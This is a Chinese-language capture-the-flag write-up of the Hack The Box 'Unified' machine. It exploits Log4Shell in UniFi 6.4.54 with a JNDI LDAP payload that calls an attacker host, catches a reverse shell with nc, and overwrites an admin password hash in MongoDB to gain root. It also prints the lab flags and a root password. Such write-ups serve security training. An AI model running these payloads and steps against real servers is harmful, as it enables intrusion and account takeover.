1.端口扫描
nmap -sC -sV -v {ip}
开放了22,6789,8080,8443端口
2.访问8080端口
http服务访问8080端口
http://{ip}:8080
是一个UniFi的cms,版本号6.4.54,该版本存在log4j的漏洞
3.log4j漏洞验证
利用自带的开发者工具或者是bp
修改remember的值
接下来监听389端口
tcpdump -i tun0 port 389
接着再发一次包
此时389端口就会收到数据
至此,验证当前靶机确实存在log4j漏洞
4.漏洞利用
# 准备工作
apt-get install maven
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
mvn package
执行下述命令在kali Linux安装JDK以及maven.
#apt update && apt install openjdk-11-jre maven
#git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi && cd Log4jUnifi && pip3 install -r requirements.txt
#mvn package -f utils/rogue-jndi/
下载并制作Docker Log4jUnifi的
镜像:
#git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jUnifi && cd Log4jUnifi && docker build -t log4junifi .
此时在Kali Linux 上用openVPN连接上Hackthebox,启动Unified实例,然后在kali Linux用nc启动监听:
nc -nlvp 1234 -s 10.10.14.165
#docker run -it -v $(pwd)/loot:/Log4jUnifi/loot -p 8090:8090 -p 1389:1389 log4junifi -u https://10.129.254.73:8443 -i
输出:
{“username”: “{jndi:ldap://10.10.14.165:1389/o=tomcat}”, “password”: “log4j”, “remember”: “{jndi:ldap://10.10.14.165:1389/o=tomcat}”, “strict”:true}
反弹shell成功
cd /home/michael
cat user.txt
# flag{6ced1a6a89e666c0620cdb10262ba127}
继续在各个目录搜寻,查找与数据库服务相关的配置文件,在文件中/usr/lib/unifi/data/system.properties找到mongodb的端口unifi.db.port=27117
接下来连接数据库
mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"`
可以看到用户名的信息
密码以xshadow的形式进行保存
“x_shadow” : “6Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.”
利用工具hashid可以查看hash类型
hashid '6Ry6Vdbse$8enMR5Znxoo.WfCMd/Xk65GwuQEPx1M.QP8/qHiQV0PvUc3uHuonK4WcTQFN1CRk3GwQaquyVwCVq8iQgPTt4.'
SHA-512
这时候进行碰撞的话基本是不可能的,所以有另外一种方法,修改密码,替换hash值
mkpasswd -m sha-512 Password1234
生成的密码hash值如下
6Pi7Y7O9PR4iJgUq9$guQg7AVpPbK7yhDga7qwTR8/l70gEPEqHqEGx9877hyvztiROjbeQO7HCgMCOkaT1BRMeo3nAJk9J74lfCZwL1
mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("61ce278f46e0fb0012d47ee4")},{set:{"x_shadow":"6Pi7Y7O9PR4iJgUq9guQg7AVpPbK7yhDga7qwTR8/l70gEPEqHqEGx9877hyvztiROjbeQO7HCgMCOkaT1BRMeo3nAJk9J74lfCZwL1"}})'
返回的信息显示匹配并修改了一条记录
5.登录
直接用新密码登录,在网站的后台设置的site里发现了ssh连接的密码和用户名
ssh root@10.129.64.152
# 密码:NotACrackablePassword4U2022
# 成功登录
cat root.txt
# flag{e50bc93c75b634e4b272d2f771c33681}